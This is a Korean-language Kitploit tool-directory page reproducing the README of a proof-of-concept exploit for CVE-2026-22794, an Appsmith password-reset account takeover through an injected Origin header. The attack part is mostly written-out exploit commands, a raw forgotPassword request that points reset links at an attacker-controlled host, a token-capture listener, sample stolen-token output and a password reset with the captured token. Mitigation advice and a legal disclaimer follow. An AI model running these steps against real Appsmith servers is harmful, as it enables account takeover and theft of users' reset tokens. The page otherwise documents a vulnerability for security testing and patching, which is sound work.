Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-22794-POC — 🔴 CVE-2026-22794 - Appsmith 비밀번호 재설정 계정 탈취 (Origin 헤더 주입) | PoC 익스플로잇 + Nuclei 템플릿 | Kitploit
도구/GitHubGitHub/malikhamza7/cve-2026-22794-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubmalikhamza7/cve-2026-22794-poc

CVE-2026-22794-POC

🔴 CVE-2026-22794 - Appsmith 비밀번호 재설정 계정 탈취 (Origin 헤더 주입) | PoC 익스플로잇 + Nuclei 템플릿

저장소 보기
77개월 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-22794 - Appsmith Origin 헤더 주입

Python Version CVE License

🔴 심각한 보안 취약점

Origin 헤더 조작을 통한 비밀번호 재설정 링크 탈취

이 저장소는 Appsmith의 심각한 취약점인 CVE-2026-22794에 대한 개념 증명(PoC) 익스플로잇을 포함하고 있으며, 공격자가 비밀번호 재설정 토큰을 탈취하여 완전한 계정 탈취를 달성할 수 있게 합니다.

📋 취약점 요약

필드값
CVE IDCVE-2026-22794
영향을 받는 소프트웨어Appsmith (패치 이전 버전)
취약점 유형Origin 헤더 주입
영향완전한 계정 탈취
CVSS 점수9.1 (치명적)
공격 경로네트워크
공격 복잡성낮음
필요한 권한없음
사용자 상호작용필요 (피해자가 링크 클릭)

🎯 취약점 설명

Appsmith는 검증 없이 HTTP Origin 헤더를 사용하여 비밀번호 재설정 및 이메일 확인 URL을 구성합니다. 취약한 코드는 Origin 헤더를 비밀번호 재설정 기본 URL에 직접 할당합니다:

root@kitploit:~
userPasswordDTO.setBaseUrl(originHeader);

이를 통해 공격자는 다음을 수행할 수 있습니다:

  1. 모든 이메일 주소에 대한 비밀번호 재설정 트리거
  2. 공격자가 제어하는 서버를 가리키는 악의적인 Origin 헤더 주입
  3. 피해자가 링크를 클릭할 때 비밀번호 재설정 토큰 캡처
  4. 토큰을 사용하여 피해자의 비밀번호를 재설정하고 계정 탈취

🔥 공격 체인

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                     공격 흐름                                    │
└─────────────────────────────────────────────────────────────────┘

  ┌──────────┐                    ┌──────────┐                    ┌──────────┐
  │ 공격자   │                    │ APPSMITH │                    │  피해자  │
  └────┬─────┘                    └────┬─────┘                    └────┬─────┘
       │                               │                               │
       │ 1. POST /forgotPassword       │                               │
       │    Origin: attacker.com       │                               │
       │    email: [email protected]     │                               │
       │──────────────────────────────>│                               │
       │                               │                               │
       │                               │ 2. 다음 링크가 포함된           │
       │                               │    이메일 전송                 │
       │                               │    attacker.com/reset?token   │
       │                               │──────────────────────────────>│
       │                               │                               │
       │ 3. 피해자가 링크 클릭         │                               │
       │<──────────────────────────────────────────────────────────────│
       │                               │                               │
       │ 4. 토큰 캡처 완료!            │                               │
       │                               │                               │
       │ 5. POST /resetPassword        │                               │
       │    token: STOLEN_TOKEN        │                               │
       │    password: attacker123      │                               │
       │──────────────────────────────>│                               │
       │                               │                               │
       │ 6. 계정 탈취 성공! ✓          │                               │
       │                               │                               │

📦 설치

root@kitploit:~
# 저장소 클론
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC

# 의존성 설치
pip install -r requirements.txt

🚀 사용법

대상이 취약한지 확인

root@kitploit:~
python exploit.py --target https://appsmith.target.com --check

토큰 캡처 서버 시작

root@kitploit:~
python exploit.py --listen --port 8080

악의적인 비밀번호 재설정 요청 전송

root@kitploit:~
python exploit.py \
    --target https://appsmith.target.com \
    --email [email protected] \
    --attacker-url https://your-server.com

완전 자동화 공격

root@kitploit:~
python exploit.py \
    --target https://appsmith.target.com \
    --email [email protected] \
    --attacker-url https://your-server.com \
    --listen --port 8080

캡처된 토큰으로 비밀번호 재설정

root@kitploit:~
python exploit.py \
    --target https://appsmith.target.com \
    --reset-token CAPTURED_TOKEN \
    --new-password "NewP@ssw0rd!"

📸 공격 시연

1단계: 공격자가 악의적인 요청 전송

root@kitploit:~
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json

{
  "email": "[email protected]"
}

2단계: 피해자가 악의적인 링크가 포함된 이메일 수신

root@kitploit:~
비밀번호 재설정 링크: https://attacker-server.com/user/resetPassword?token=abc123xyz...

3단계: 공격자가 토큰 캡처

root@kitploit:~
[+] 수신 요청 캡처 완료!
[*] 경로: /user/resetPassword?token=abc123xyz789...
[!!!] 비밀번호 재설정 토큰 캡처 완료!
[!!!] 토큰: abc123xyz789...

4단계: 계정 탈취

root@kitploit:~
[+] 계정 탈취 성공!
[+] 비밀번호가 다음으로 재설정되었습니다: NewP@ssw0rd!

🛡️ 해결 방법

Appsmith를 사용하는 조직은 다음을 수행해야 합니다:

  1. 즉시 업데이트하여 최신 패치 버전으로 전환
  2. Origin 헤더 검증을 허용된 도메인 화이트리스트와 대조
  3. 서버 측 구성을 사용하여 비밀번호 재설정 URL 생성
  4. 추가 검증 구현 (예: IP 검증, 짧은 토큰 만료 시간)

안전한 코드 예시

root@kitploit:~
// ❌ 취약한 코드
userPasswordDTO.setBaseUrl(originHeader);

// ✅ 안전한 코드
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// 또는 화이트리스트와 대조하여 검증
if (!allowedOrigins.contains(originHeader)) {
    throw new InvalidOriginException("잘못된 origin 헤더");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);

📁 저장소 구조

root@kitploit:~
CVE-2026-22794/
├── README.md           # 이 파일
├── exploit.py          # 주요 익스플로잇 스크립트
├── requirements.txt    # Python 의존성
├── LICENSE             # MIT 라이선스
└── docs/
    └── technical_analysis.md  # 상세 취약점 분석

⚠️ 법적 고지

이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다.

  • 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에만 이 도구를 사용하십시오
  • 컴퓨터 시스템에 대한 무단 접근은 불법입니다
  • 작성자는 이 도구의 오용에 대해 책임을 지지 않습니다
  • 항상 책임 있는 공개 관행을 따르십시오

📄 참고 자료

  • CVE-2026-22794
  • OWASP - 비밀번호 찾기 치트 시트
  • CWE-346: Origin 검증 오류

👤 작성자

보안 연구원

  • GitHub: @MalikHamza7
  • LinkedIn: LinkedIn 프로필

📜 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하십시오.


⭐ 유용하다고 생각되면 저장소에 스타를 남겨주세요! ⭐

도구 다운로드